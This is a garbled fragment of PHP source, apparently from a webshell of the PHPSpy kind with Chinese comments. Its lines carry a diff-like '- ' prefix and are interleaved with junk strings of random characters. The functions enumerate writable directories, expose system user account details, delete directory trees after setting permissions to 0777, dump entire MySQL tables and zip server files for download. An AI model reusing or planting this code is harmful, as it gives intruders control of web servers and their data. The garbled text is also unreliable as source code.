- $world['write'] = ($mode & 00002) ? 'w' : '-';
; b* n) P2 l$ v - $world['execute'] = ($mode & 00001) ? 'x' : '-';
; g1 |! b$ D9 I$ y! P6 K - 8 N0 s; R6 n7 @& j: V4 a
- if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
. d6 P |. G2 X+ E - if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
- ^) E+ _/ C9 @ l8 x+ ~' n - if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
/ @8 r- P1 r: M - : f: Z/ i2 ]! z
- return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
$ B q H9 [) j. e" W4 y - }
8 X% p O" w4 n8 l/ m, a, [ - * ~& W! [# n' ^ j9 p; g }5 E
- function getUser($filepath) {
0 p! t! t1 z+ c$ Q: r% G$ _ - if (function_exists('posix_getpwuid')) {/ k. W; ~( C* m" t
- $array = @posix_getpwuid(@fileowner($filepath));
E. Z# ]2 m( ]4 |. T$ Z, f - if ($array && is_array($array)) {
6 F4 @ B! J% G! M! Z - return ' / <a href="#" title="User: '.$array['name'].'/ ^5 N5 r/ m9 ]1 E5 M
- Passwd: '.$array['passwd'].'" B9 q: x+ v1 T0 p5 q& m4 _
- Uid: '.$array['uid'].'
, S% \- `4 `) p2 x1 O- ~2 B% ~ - gid: '.$array['gid'].'
2 |& U5 `& {, W+ N9 e( I4 r; C - Gecos: '.$array['gecos'].'0 I0 ~/ |; U( G: v4 i, {
- Dir: '.$array['dir'].'
# K. Q) @* p& V! E0 X - Shell: '.$array['shell'].'">'.$array['name'].'</a>';
; O1 i2 S) ^+ U0 I$ } - } l. `9 p5 S" ^5 s6 N
- }8 r$ L* E& |3 q: a! w- \
- return '';
' h2 x& C" z7 p3 M4 R0 K4 u - }
1 H. Q0 j% Q! _9 S -
7 k$ F6 ?% A1 k - // 删除目录
# s3 g9 n+ \2 V$ @ - function deltree($deldir) {
, X: I2 y! ?: y - $mydir=@dir($deldir); $ A, t) {( ^$ k8 F% Z0 g# W
- while($file=$mydir->read()) { * K0 `1 K- F9 I
- if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
- u0 b2 J7 q$ f& \ - @chmod($deldir.'/'.$file,0777);; D& X, C. j+ J6 R
- deltree($deldir.'/'.$file);
: N, `& ?7 V8 {' N0 a" Q, m1 ` - }
7 t1 A0 j2 M' l% C, D$ P( x - if (is_file($deldir.'/'.$file)) {" f$ s4 B' s; \5 `- i
- @chmod($deldir.'/'.$file,0777);
% L3 [. B- M; N5 a& R3 a" F6 { - @unlink($deldir.'/'.$file);" s ~9 o) I' D% Z* J3 [
- }* j+ j0 c9 [- N3 I% _, ?' r, z
- } " v4 |; l4 z7 w6 W5 H6 C x
- $mydir->close();
3 ?; y5 K" V9 M$ I - @chmod($deldir,0777);
' c4 i; u9 O5 f( R8 L- d6 _/ p - return @rmdir($deldir) ? 1 : 0;
1 A5 L: e" O/ y f - }8 _. x) G, R4 p; r
- % J/ ~. b( ?& h0 E2 W, G& @
- // 表格行间的背景色替换
4 g* I. @# r$ S0 P# P - function bg() {
& x, Q3 z$ I0 l! L( |- B$ u1 V - global $bgc;. D8 \# a2 H5 o0 K+ O. S
- return ($bgc++%2==0) ? 'alt1' : 'alt2'; N' {- N2 m" m$ {8 B2 p
- }
' S1 `; a9 k( G0 U, U - 1 Z8 A% Y9 a: z9 R% E
- // 获取当前的文件系统路径1 `) H9 Y. j" O. n* W% ^3 E
- function getPath($scriptpath, $nowpath) {
) i' s( M" F- y7 R4 f5 ? - if ($nowpath == '.') {
3 V) e( l) x6 _ - $nowpath = $scriptpath;5 g! q$ H3 u( T# A
- }
- c/ k6 ]6 _9 E - $nowpath = str_replace('\\', '/', $nowpath);7 C# e( ?0 L2 Y$ h
- $nowpath = str_replace('//', '/', $nowpath);
/ t9 ?6 |( B0 D4 h - if (substr($nowpath, -1) != '/') {( P8 s7 ^8 V; V
- $nowpath = $nowpath.'/';
+ s! I6 O: p# V - }
3 R: m; ~6 C" ^ - return $nowpath;3 Y, N) b) G7 n2 Z# D1 a% _! K
- }
& l' \- o$ a7 r3 V( F - B0 L! Q% o0 k0 y* j! w) v1 h; b
- // 获取当前目录的上级目录9 ^: D$ B* s" Z4 j* N8 v
- function getUpPath($nowpath) {
$ b0 l4 w8 b6 I% m+ I, {2 |0 _ - $pathdb = explode('/', $nowpath);6 G. i7 s; U9 o4 m& k; y' L6 D
- $num = count($pathdb);; n# [1 v) \( F |4 R2 A. M
- if ($num > 2) {
; I: h! v5 c% `# i- N4 O# T - unset($pathdb[$num-1],$pathdb[$num-2]);
3 u" W( c9 W% Q+ G$ u8 T3 a - }# {3 y% F- C6 O2 U
- $uppath = implode('/', $pathdb).'/';3 ?/ M" W- Q. A* _, D
- $uppath = str_replace('//', '/', $uppath);& s1 n$ @3 v2 c/ u+ Z r4 n1 F. U
- return $uppath;
% P! s. Z0 F' o1 c) X2 S - }+ m9 x' z/ T M" M$ e
-
* q: n4 L9 w* ` ^0 ? - // 检查PHP配置参数
5 q! Z7 A+ }5 S) n' C - function getcfg($varname) {. B+ e) ]5 H/ B% @1 s, Q+ H
- $result = get_cfg_var($varname);
1 L4 V. T: l. V7 W' Z. ~& [- ? - if ($result == 0) {
# a3 r9 [8 ~7 s7 H - return 'No';3 B) w4 G# _# o3 l; w7 Z
- } elseif ($result == 1) {1 H) @7 x. e3 m% I+ j* d" w
- return 'Yes';
, K$ f% y' v9 @! ^5 E - } else {; J5 Y5 G- m4 E& x& [. k5 q' q
- return $result;; D1 W( p; J5 Q) d- G
- }: J$ n: V( Y+ y) X+ g! c1 A* n- D
- }4 V* Z" p2 w3 g
-
& F$ J8 f$ X% j) t! M - // 检查函数情况" U$ _9 y0 y" E# O
- function getfun($funName) {
, n# D- s0 Z3 ]: z* q" j; a; |8 q - return (false !== function_exists($funName)) ? 'Yes' : 'No';& f$ W; I& d# s8 ^
- }
0 i2 t& D) W6 ]% _" X4 X9 s; t - ! \ c6 x$ M$ y3 v# X/ d# \' G3 `
- function GetList($dir){
4 q! i# g' a, f2 q0 X - global $dirdata,$j,$nowpath;" A: e3 w$ y3 B! q& A5 K+ z/ W
- !$j && $j=1;
# W" ?* t; x/ N8 q% D - if ($dh = opendir($dir)) {
0 n* D# D' x3 [8 ~, r1 Z: v2 h - while ($file = readdir($dh)) {
) `5 n6 w e6 d/ w - $f=str_replace('//','/',$dir.'/'.$file);
. [% ? c9 q; V$ e% ^" D - if($file!='.' && $file!='..' && is_dir($f)){
# I6 K: Z0 J5 u6 E0 g( V - if (is_writable($f)) {
2 ~* s' m( u6 p8 M. t - $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
3 _6 ]" S4 X4 S+ R; B. ~) v, s - $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
1 K4 C5 [* q5 G, W1 ], s# b - $dirdata[$j]['dirchmod']=getChmod($f);8 s' J- ^8 [* H3 v6 [9 q# P
- $dirdata[$j]['dirperm']=getPerms($f);) c- A$ R- q4 d8 _8 a: p
- $dirdata[$j]['dirlink']=ue($dir);% r4 ^% I$ N% u6 e) W
- $dirdata[$j]['server_link']=$f;
# V2 D" }. ^) A7 E( u/ _9 r - $dirdata[$j]['client_link']=ue($f);0 ^6 f' w1 f; T; ]
- $j++;
! _) \- E1 `: k6 K5 Z - }& c4 v6 }3 _8 H* I( V
- GetList($f);2 z! Y6 G* ]4 E" F
- }7 C a3 S: V/ q+ V
- }
, X! \7 c( i3 ~" H, j6 U - closedir($dh);5 j- T; \9 ?" {* u- g. k
- clearstatcache();
8 y4 b) T4 R8 K% I! l - return $dirdata;
1 x- j" z9 e' U5 O& T1 a% b3 u - } else {) D- z9 S8 Q9 E
- return array();2 J0 q3 o$ v7 y3 e
- }
4 Z1 q+ I$ |+ P) y+ M# k* W - }' e4 S3 D K7 F& k# z
-
7 y$ [; \/ }, }+ B: V5 V - function qy($sql) {
7 Q. [ s0 C$ E+ ~3 {7 ^. S6 F - //echo $sql.'<br>';2 Q3 A* g$ K J3 F: M4 v; V3 t, k
- $res = $error = '';6 ]% V) t, Q, p8 E* ^
- if(!$res = @mysql_query($sql)) { , W2 ^: ?. \/ G% m& B A
- return 0;; f+ N& \7 u, L L
- } else if(is_resource($res)) {
% `' w# }! {, }1 M# S+ B- x. Q - return 1; , b& p& Z6 k" C- t
- } else {
0 ` D x$ b# t) Q/ o7 ~. r - return 2;
+ _/ X/ w! X; ?1 N$ F - }
) z8 L3 z+ B! f8 k7 I - return 0;
% C' Z4 f( S- e - }! l& R5 f3 g7 E" ^+ M; @% G4 u$ }
- $ G2 S1 u; |% W/ G- t
- function q($sql) { $ O6 g7 X% e- X- d, c7 A2 S% I$ l
- return @mysql_query($sql);0 x! [* X2 {7 ^5 P1 d
- }
8 z% l8 m9 k2 Z, i& W -
; ^6 Y4 \! W% X - function fr($qy){
# g0 C$ S/ u0 T7 E* t - mysql_free_result($qy);
; M! O) F/ V/ T5 k - }
6 l4 _$ q2 Z4 c3 h8 U - ( E- e8 ~9 o$ D3 U; u
- function sizecount($size) {
7 V1 m b0 W* ]3 K; U. ]: l8 v - if($size > 1073741824) {% ?/ b: z. C' L: e6 T
- $size = round($size / 1073741824 * 100) / 100 . ' G';1 E7 A3 C7 r- y0 t3 ^* P
- } elseif($size > 1048576) {+ a( h1 h! P/ W
- $size = round($size / 1048576 * 100) / 100 . ' M';
`3 b1 d1 t; I2 Q& w6 c. I - } elseif($size > 1024) {
+ |: M. O* b1 F8 ^8 a5 n* Q - $size = round($size / 1024 * 100) / 100 . ' K';& C# j2 }/ D% P! q! Y
- } else {
" W+ b# j A6 k2 l - $size = $size . ' B';4 n, L( z. a7 y& d
- }2 H3 V5 Y! ^# h+ e1 E: u' l
- return $size;
! o* E* L. h0 Y# l3 V- { - }- [ m1 L5 `4 x9 v# k8 Y; n
- 2 f1 C& n- I& |5 j9 I( W0 \( e9 H
- // 压缩打包类" P, f) }% k2 [0 [0 O' Y
- class PHPZip{
. e1 M. }2 S& V' I7 [0 I4 X - var $out='';
# F" r: x# G! u. ] - function PHPZip($dir) {. O+ m$ l }) P1 {) k R
- if (@function_exists('gzcompress')) {& O4 I( a2 \* s+ T1 f: [
- $curdir = getcwd();1 X4 j0 X( N) @) u( i$ h
- if (is_array($dir)) $filelist = $dir;
# w6 V* A# ?; q! Z8 k - else{
- I6 Q+ \/ i7 F1 ~( W- S - $filelist=$this -> GetFileList($dir);//文件列表
7 o, t2 G6 A! k: a% r+ L - foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
* j$ P o4 W5 z% W+ e: g - }
* h! B" b: J( ~8 Z+ r - if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
0 t# X/ A' \) f- q B/ v& ?) E8 b% w - else chdir($curdir);
2 i, I0 O' u. n* b. i - if (count($filelist)>0){
; L3 I9 y. k/ \1 U - foreach($filelist as $filename){: |* t3 l5 f# U9 H- G6 z7 }* w
- if (is_file($filename)){+ T4 r5 t( L0 [! }% X' Q- K
- $fd = fopen ($filename, 'r');( z1 N2 F% b" g) j' V
- $content = @fread ($fd, filesize($filename));- z$ J8 q7 _! @- L0 R
- fclose ($fd);5 i8 D( c8 ]! w+ ?4 Y2 v% s
- if (is_array($dir)) $filename = basename($filename);
) o) ^: ^6 L) S! p7 r- Q - $this -> addFile($content, $filename);( a: s( o s, q! Z
- }! y/ M; I$ F% _- k8 r
- }
% u; {7 o+ `. Q( a" N - $this->out = $this -> file();
: Q) @' { ?- s - chdir($curdir);3 q" N( ]$ ]7 m6 X7 \( \6 e( j
- }
8 a6 e* W" @2 ^$ f - return 1;$ D% N9 l0 d5 s4 h h( Z
- }0 D# }' x4 v8 {9 x, B8 ]4 p: _
- else return 0;- b, a) D( l1 h
- } T$ k6 b# s* T4 ?
-
1 R3 U, X& _) G! Y - // 获得指定目录文件列表
& g8 ^0 n* r" S( W1 m' B, U- w - function GetFileList($dir){# R# s! X: ^: s5 [
- static $a;
" G& w/ E0 V" H i6 x/ e( k) x - if (is_dir($dir)) {
7 T2 k" \; |0 ?: ?& e1 M - if ($dh = opendir($dir)) {
0 u/ _8 ?9 r* j5 R* x - while ($file = readdir($dh)) {
- W9 c; H. N# d8 X1 c: J* f - if($file!='.' && $file!='..'){1 I5 n- T2 v5 ^1 @! ~
- $f=$dir .'/'. $file;& O: e4 c2 Y q% @3 H+ v# ?5 R
- if(is_dir($f)) $this->GetFileList($f);
$ g6 U7 ^- Q$ S/ q8 k2 S - $a[]=$f;, f/ I7 x* U; S, E( A
- }( d( [/ _% Z H- y @2 D5 K
- }# `6 z" E1 r6 ~# j" D+ n
- closedir($dh);
- j* p) ]. B* g - }; A0 m7 I1 R" n
- }# P& M+ B$ d( p
- return $a;$ R5 ^9 z) W* W: c
- }
, [, U4 P1 |$ C) Y! @ - / M$ @, X( z7 |" u
- var $datasec = array();* L' Z0 `" p" ?- r; }4 V% ?- w* Y w7 [
- var $ctrl_dir = array();6 I: z& O9 a& f7 L7 R4 l
- var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";- |5 `/ U, o4 h$ p; J
- var $old_offset = 0;
& C; s, A8 |& W; ^# v; [$ }: f -
) X3 J; Z( z4 K9 a$ h - function unix2DosTime($unixtime = 0) {) x' J3 X+ a) h3 h. p. [
- $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);9 r. N. P% [9 j1 q0 j! f7 c
- if ($timearray['year'] < 1980) {; s* l: @7 z! K: f6 ?! v% o+ K
- $timearray['year'] = 1980;
" N5 d/ g8 A) X3 ?0 W - $timearray['mon'] = 1;
# b% z& D9 r% b5 p, M. w - $timearray['mday'] = 1;
, N$ C/ A1 A3 i! X; V- X4 Q - $timearray['hours'] = 0;
0 ?( l- N- i3 k - $timearray['minutes'] = 0;
' r5 K" @+ c, J5 S - $timearray['seconds'] = 0;
8 w" O3 L o4 t6 I6 L - } // end if( ~7 i1 ~4 \$ Z& J4 }
- return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |3 g: R' Y1 t4 i
- ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);. j8 k' j/ R3 w1 y1 n6 B
- }
+ C' @' C/ X6 H3 p% R- ]9 n: ] - function addFile($data, $name, $time = 0) {
$ U% i$ T! o0 |- B6 C - $name = str_replace('\\', '/', $name);
6 ]( g$ r, K8 w8 \$ M! W - $dtime = dechex($this->unix2DosTime($time));# b# }( h2 n; _* Z, g
- $hexdtime = '\x' . $dtime[6] . $dtime[7]8 }) D, z7 W) h* B3 P/ w+ W
- . '\x' . $dtime[4] . $dtime[5]1 Q# l$ V1 y/ B5 {7 z; o
- . '\x' . $dtime[2] . $dtime[3] w8 U2 w8 ~( [# ~7 \
- . '\x' . $dtime[0] . $dtime[1];
5 Z! L# A9 K5 O2 H( w - eval('$hexdtime = "' . $hexdtime . '";');6 W M' w' S& e
- $fr = "\x50\x4b\x03\x04";
. y' @3 X* G: n0 R - $fr .= "\x14\x00";! g0 e* C9 C( t5 {8 X- w6 y0 H
- $fr .= "\x00\x00";( O( Y& K) S% l, f; H5 R! Z H
- $fr .= "\x08\x00";2 O3 k- n, i' Q* w2 P
- $fr .= $hexdtime;% h1 {) I+ _; y6 |
- $unc_len = strlen($data);
1 U4 V' o) c- E- @. ~ - $crc = crc32($data);% E# |5 g& K i7 f! _
- $zdata = gzcompress($data);
L# k) `6 c$ f - $c_len = strlen($zdata);
# @" D" o% L b2 z7 ?3 } - $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);* x7 a! ^1 R6 T& o: E7 t# {
- $fr .= pack('V', $crc);8 X7 w: d. @3 M, T* ~( A* e# @: J
- $fr .= pack('V', $c_len);* e+ ~4 M+ @; T. O6 P4 ^/ {4 y8 Q
- $fr .= pack('V', $unc_len);
4 [2 S* ]4 g3 D4 P0 b5 g7 M - $fr .= pack('v', strlen($name));2 V. u5 n- |2 E$ o+ c
- $fr .= pack('v', 0);
) L# g2 D3 q: K( d4 Y( N - $fr .= $name;0 C. X f# K0 f b+ M; A+ _
- $fr .= $zdata;
! m) L. b( J( F% Z f9 ` - $fr .= pack('V', $crc);! h+ u$ i8 \ E: I& }3 D& ^5 c5 C
- $fr .= pack('V', $c_len);
) w; t4 Z' |# K7 |% S2 P# R - $fr .= pack('V', $unc_len);# R! |& \$ n# i( C
- $this -> datasec[] = $fr;3 j$ [! p% T1 O3 s
- $new_offset = strlen(implode('', $this->datasec)); }- ]8 r( w% F8 U8 W
- $cdrec = "\x50\x4b\x01\x02";$ c6 P/ B+ M0 @
- $cdrec .= "\x00\x00";% r* b, G: B" x. ?/ H" O
- $cdrec .= "\x14\x00";$ K$ A7 \0 R- q e. j
- $cdrec .= "\x00\x00";6 l6 j+ o4 L4 ]5 d0 e/ b, M [
- $cdrec .= "\x08\x00";, N. M- M: _, F+ n8 }0 D' b
- $cdrec .= $hexdtime;% S( x: U9 V) r6 ^" b2 u
- $cdrec .= pack('V', $crc);
* \# h4 h4 J% M- G0 G8 G: X. Z - $cdrec .= pack('V', $c_len);
" v9 L: F& W. w6 \3 g/ ~7 E/ R - $cdrec .= pack('V', $unc_len);
& J$ m% c- _" R - $cdrec .= pack('v', strlen($name) );0 z, H$ V2 i" ?/ G T5 v
- $cdrec .= pack('v', 0 );
8 a( F& T0 i: C2 Z k$ Y$ _ - $cdrec .= pack('v', 0 );% [& Q( t+ ^( g. w k
- $cdrec .= pack('v', 0 );
8 ]& o! ]8 ]$ O" y1 S2 l - $cdrec .= pack('v', 0 );( D; V7 O( o9 M& K- `4 g) E
- $cdrec .= pack('V', 32 );
! s0 G; o2 y: T: o1 S - $cdrec .= pack('V', $this -> old_offset );' G6 z% D. {! U
- $this -> old_offset = $new_offset;" ]1 N$ ~; N% T' z
- $cdrec .= $name;
h" O8 Q7 z3 s3 y - $this -> ctrl_dir[] = $cdrec;( K2 b8 Q# r" w
- }
v/ Z" j8 D6 K+ s' R - function file() {6 r1 b% H- W5 S$ d0 [. s: K
- $data = implode('', $this -> datasec);
- F, u9 g7 F8 [" O% S1 P. y6 K - $ctrldir = implode('', $this -> ctrl_dir);
- A) a% R( k! B- s/ V, {7 O7 s - return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";2 G- |7 x! _) M+ {) x M2 [; ^ Y
- }4 l4 ]( g# \- r
- }
, ^0 v* f1 s7 t8 S @ - // 备份数据库/ f; `$ I0 r% S( B, ^8 r
- function sqldumptable($table, $fp=0) {
7 C- u* Y& V& X" E9 S9 q - $tabledump = "DROP TABLE IF EXISTS $table;\n";
9 e6 D6 L3 [0 p5 Q* O - $tabledump .= "CREATE TABLE $table (\n";
$ W5 B, l0 V& A - $firstfield=1;$ X7 D# L: J. k; O z) O
- $fields = q("SHOW FIELDS FROM $table");
. @( n) R5 g- \9 ?: `: L5 L0 w; Z8 i5 L - while ($field = mysql_fetch_array($fields)) {' T0 @/ s4 t X5 n6 B8 W
- if (!$firstfield) {
. [4 r% H; }4 P" K - $tabledump .= ",\n";
7 ^5 K6 }0 ~, O( ?* R K - } else {
- H# a6 E/ M" d. i) y3 L! i - $firstfield=0;& X6 Y3 w D1 x# d. e. p. e
- }
0 \9 ^' \9 F8 [8 c8 J - $tabledump .= " $field[Field] $field[Type]";, \6 B* |4 Y' p) q' }7 m% O/ L
- if (!empty($field["Default"])) {
4 ]2 W0 k" D- H! z5 u5 r2 h$ ? - $tabledump .= " DEFAULT '$field[Default]'";" z# S/ Z& N& e6 [
- }# B( C$ v7 o7 r' U+ C
- if ($field['Null'] != "YES") {
6 q$ _% R/ [0 j% O& k9 j" G+ ^ - $tabledump .= " NOT NULL";( U$ S; ]: c* B4 \# p1 v9 \# C& j
- }
0 ~8 U ^( D% {6 W- O* o - if ($field['Extra'] != "") {1 Q1 ?, Z k G% v
- $tabledump .= " $field[Extra]";; o8 n5 a- O9 I; I
- }% X* s. u4 T5 O
- }; J, W; f( \4 [2 i
- fr($fields);
; A' A! w' K2 M& s! a* B - $keys = q("SHOW KEYS FROM $table");/ }3 @1 k! _3 Q' R9 u
- while ($key = mysql_fetch_array($keys)) {
! `4 q7 }- x! z+ }$ ]+ b - $kname=$key['Key_name'];
% U1 z; y) n2 ?: ?! {( [ - if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {, @- k, p/ Z5 P2 \8 R. e
- $kname="UNIQUE|$kname";
3 \: c% }3 v- d, Q, Y& O% e - } H4 c+ `, O& l5 e9 }; M" F8 f
- if(!is_array($index[$kname])) {
* x0 J$ T3 t! [) H( { - $index[$kname] = array();
/ U+ y) }' N8 l. _) J - }; G0 q* k% s3 g M9 j
- $index[$kname][] = $key['Column_name'];1 B' \) n' U2 \1 [$ v
- }8 G; U. {. \4 O }
- fr($keys);
" T% `+ h/ F* n a- v - while(list($kname, $columns) = @each($index)) {7 |1 g" c% [2 T
- $tabledump .= ",\n";: U$ D g/ Z5 W$ w( B& ]5 @
- $colnames=implode($columns,",");
# y7 F+ c" P. z. S% n - if ($kname == "PRIMARY") {
5 l* |. X' {6 Y( b: \, M - $tabledump .= " PRIMARY KEY ($colnames)";
4 b9 h3 {# w" H$ e- Z - } else {
- z1 n; }# X: H+ P - if (substr($kname,0,6) == "UNIQUE") {) v: y5 A- H' d" h
- $kname=substr($kname,7);" J) t$ N2 t8 t1 ~( b
- }
' _! F- B! L( X$ [5 P - $tabledump .= " KEY $kname ($colnames)"; t2 e" d: c+ |2 r/ f+ O) V2 B7 g: U
- }5 f: W* X+ V0 S+ s
- }
0 V- N6 g* t; q) Q) K0 i5 s - $tabledump .= "\n);\n\n";3 H& J* f1 @9 u( f/ G6 X: |
- if ($fp) {
Y" j) y0 ^! v* V0 G/ G5 j - fwrite($fp,$tabledump);
, k% ]/ m+ x' D0 X! T - } else {( H: y' F9 k/ `! U8 G/ S
- echo $tabledump;
, f; r; ^4 Y7 x8 @) m - }
; U8 j6 E& f# v. u7 ]. a* B - $rows = q("SELECT * FROM $table");7 g" B8 Y3 F2 e/ P) q
- $numfields = mysql_num_fields($rows);
* P1 ^+ g, n3 u6 F4 D- Z - while ($row = mysql_fetch_array($rows)) {; C3 l4 @& N3 r* Z* t' f+ E$ H) z
- $tabledump = "INSERT INTO $table VALUES(";
5 Q7 q4 ^6 j( [( U# j% Y - $fieldcounter=-1;1 u6 |" `) K: ?2 r
- $firstfield=1;
! m* @4 w6 B! v$ e - while (++$fieldcounter<$numfields) {
; ?; G1 Y5 B2 M& c, E - if (!$firstfield) {4 y7 l6 F* J+ B# z, h
- $tabledump.=", ";3 G, N1 u4 N$ r- O
- } else {
7 G& b& d9 K, e - $firstfield=0;& x& {9 ^, j! _# F7 a u
- }3 K- X8 e( s' P! p1 e; ~" I6 k) Y
- if (!isset($row[$fieldcounter])) {
( d( @ C! i3 E8 Z' q - $tabledump .= "NULL";
8 w. T# Y% c z, L: g) r1 `$ W - } else {
1 H% w" F6 t+ a: J/ a8 E - $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";# k" D0 A8 c5 c) R7 A/ D8 P
- }
4 L9 A' s! |0 e H% ~8 l1 ~6 d( d - }
k v4 W5 K1 J1 B) p8 {# z+ U - $tabledump .= ");\n";0 R- P3 k9 N; v6 s9 j
- if ($fp) {
# f$ i0 B- j" l6 Q - fwrite($fp,$tabledump);- I# c& w* {0 l' v! z
- } else {# T4 ?9 ]+ C; I' w8 I4 h
- echo $tabledump;3 Q: E+ d+ u' d3 D
- }- `+ ^( J/ ~9 d. [ Y2 t1 T6 {- \, e- K
- }, c$ `1 d; C8 D4 f8 K) B. q
- fr($rows);! v i7 W+ P* f- R& x |
- if ($fp) {
4 d! I' b5 f7 ?" `" \) n$ W' s' j - fwrite($fp,"\n");9 U. t( a5 ~4 I2 t5 F% X
- } else {6 |. ?6 D" S# |; `
- echo "\n";. A% r7 ]) Q% Z" ]% B, X; t
- }
4 r1 r) h, [9 E7 N8 w; b - }- a: |! a$ r1 t5 |9 v- v
- function ue($str){2 L8 b. f, }* b) K
- return urlencode($str);2 A/ y% l9 O! P( s3 s, t: _4 p
- }% [5 Y, E7 \0 Y) v* O( U, z
- function p($str){
- e9 x, Y* Y. n4 q# e - echo $str."\n";) [) Z! a+ K6 L ~
- }' ~3 i$ z* A' x8 X6 ?0 u
- function tbhead() {* \! Y9 x& Q( j$ q8 W' \
- p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');+ C- {0 J! L5 E4 z
- } u Q- Q* N/ M
- function tbfoot(){
& j+ C) x* r, z) i - p('</table>');
J1 e$ `( g% n: [% I% t - }8 R1 }# t U$ Z: U( W( r' f
- function makehide($name,$value=''){1 q. `8 m5 i% l+ w8 _) x7 W
- p("<input id="$name" type="hidden" name="$name" value="$value" />");
) L: }$ v1 @4 d" M% y8 o - }/ K" B: s) v! u( P
- function makeinput($arg = array()){5 _. \! _2 y5 [5 d! q% V
- $arg['size'] = $arg['size'] > 0 ? "size="$arg[size]"" : "size="100"";
6 Y E% J4 Z* A" t% ~3 H5 P2 ] - $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';9 O; r+ ^( L4 L( G3 j3 b
- !$arg['type'] && $arg['type'] = 'text';; a$ y5 _* c+ ]5 H6 ^/ i6 ^
- $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';: s2 t; i5 X$ Y, d/ \
- $arg['class'] = $arg['class'] ? $arg['class'] : 'input';) t$ c5 D* y1 z( H; ]
- if ($arg['newline']) {
4 j0 w( G' h9 P; @ e; t' T+ H# I - p("<p>$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] /></p>");
6 \1 I# o% f! j, p: G2 i/ { q" L - } else {
. {; e+ z2 `. I# n0 Q8 J+ V - p("$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] />");
& Q/ p( z4 p: d0 D1 u' r - }+ ?, w7 _: k: r
- }% I" {; h$ m$ x8 ~6 h5 y& M& l+ {
- function makeselect($arg = array()){, }0 O5 ^; b" u* @
- if ($arg['onchange']) {! n0 w2 U; R& h% Y/ p4 u6 p
- $onchange = 'onchange="'.$arg['onchange'].'"'; H0 F' R& m2 R4 m% f
- }
) D) z# p+ A. T) O - $arg['title'] = $arg['title'] ? $arg['title'] : '';
, @% C% w9 O, f - if ($arg['newline']) p('<p>');/ a0 l0 I( B% F) D
- p("$arg[title] <select class="input" id="$arg[name]" name="$arg[name]" $onchange>");
- d o7 V: f6 ?+ C - if (is_array($arg['option'])) {
# U- ~ Q5 r0 t- ? - foreach ($arg['option'] as $key=>$value) {
$ ]' Z6 i! X% d( I1 \ - if ($arg['selected']==$key) {* u0 `& ]7 O( H( G
- p("<option value="$key" selected>$value</option>");
2 l* f) k* L% p - } else {
8 S- t% C, Z) K. k5 f - p("<option value="$key">$value</option>");
7 |. R: F3 Q. m/ \ - }
/ {5 j0 J9 @9 |& p1 h - }
2 Z. v( x* }* N- V - }6 P+ r* }6 h, M5 s$ n& v( q2 W2 C
- p("</select>");
6 f% R: W9 `$ G, s/ S- q - if ($arg['newline']) p('</p>');
) {( G# q7 l- X0 ~) e - }
* U) K: } I5 x4 ?5 D" f/ f# ~, J - function formhead($arg = array()) {! X8 z$ i6 E o
- !$arg['method'] && $arg['method'] = 'post';
+ e. `6 e1 ^& {+ y8 L' v2 | - !$arg['action'] && $arg['action'] = $self;2 ^7 b4 u+ g: x- N
- $arg['target'] = $arg['target'] ? "target="$arg[target]"" : '';
- D& |+ S/ Y" n3 }0 C% q6 W - !$arg['name'] && $arg['name'] = 'form1';
* q& P8 A, W2 Y# d - p("<form name="$arg[name]" id="$arg[name]" action="$arg[action]" method="$arg[method]" $arg[target]>");
3 V7 d- L0 s% ^; X# e) i - if ($arg['title']) {
% S& o+ ?0 t0 @5 W% C1 \9 C9 h - p('<h2>'.$arg['title'].' »</h2>');
9 q; \1 s4 [" ^2 {, s - }
+ G: [: \; x9 l4 Z/ p: j - }, ^9 T% f! n( {7 h7 R2 s: h; {
- . x& C8 p% a* f# y1 K. Z
- function maketext($arg = array()){
# [ g3 B Y- I4 h1 p( a3 H - !$arg['cols'] && $arg['cols'] = 100;
. T- v- x" X! p. M s - !$arg['rows'] && $arg['rows'] = 25;; D1 ^8 t/ b* c% R3 l
- $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
0 D9 Y6 w/ J7 c/ V$ b - p("<p>$arg[title]<textarea class="area" id="$arg[name]" name="$arg[name]" cols="$arg[cols]" rows="$arg[rows]" $arg[extra]>$arg[value]</textarea></p>");+ I" x. E1 A2 U# O6 @& i0 T
- }9 ^5 J. h2 O5 y% u
- 2 O5 y/ _( p/ I; P8 e
- function formfooter($name = ''){ ^* c3 z4 q8 ~& G! h4 Z
- !$name && $name = 'submit';
& C% b8 S' W7 L2 o2 I }) ~/ q - p('<p><input class="bt" name="'.$name.'" id="'.$name.'" type="submit" value="Submit"></p>');+ R$ Q7 V% M& C: V+ O0 i7 W8 f
- p('</form>');& Y$ I) ]2 j9 P) k b8 y4 Y
- }8 A* s! y- P3 `( `8 c
- ) u p6 x# [+ }0 i2 Q4 T
- function formfoot(){( P. b( s" T9 b8 d* o
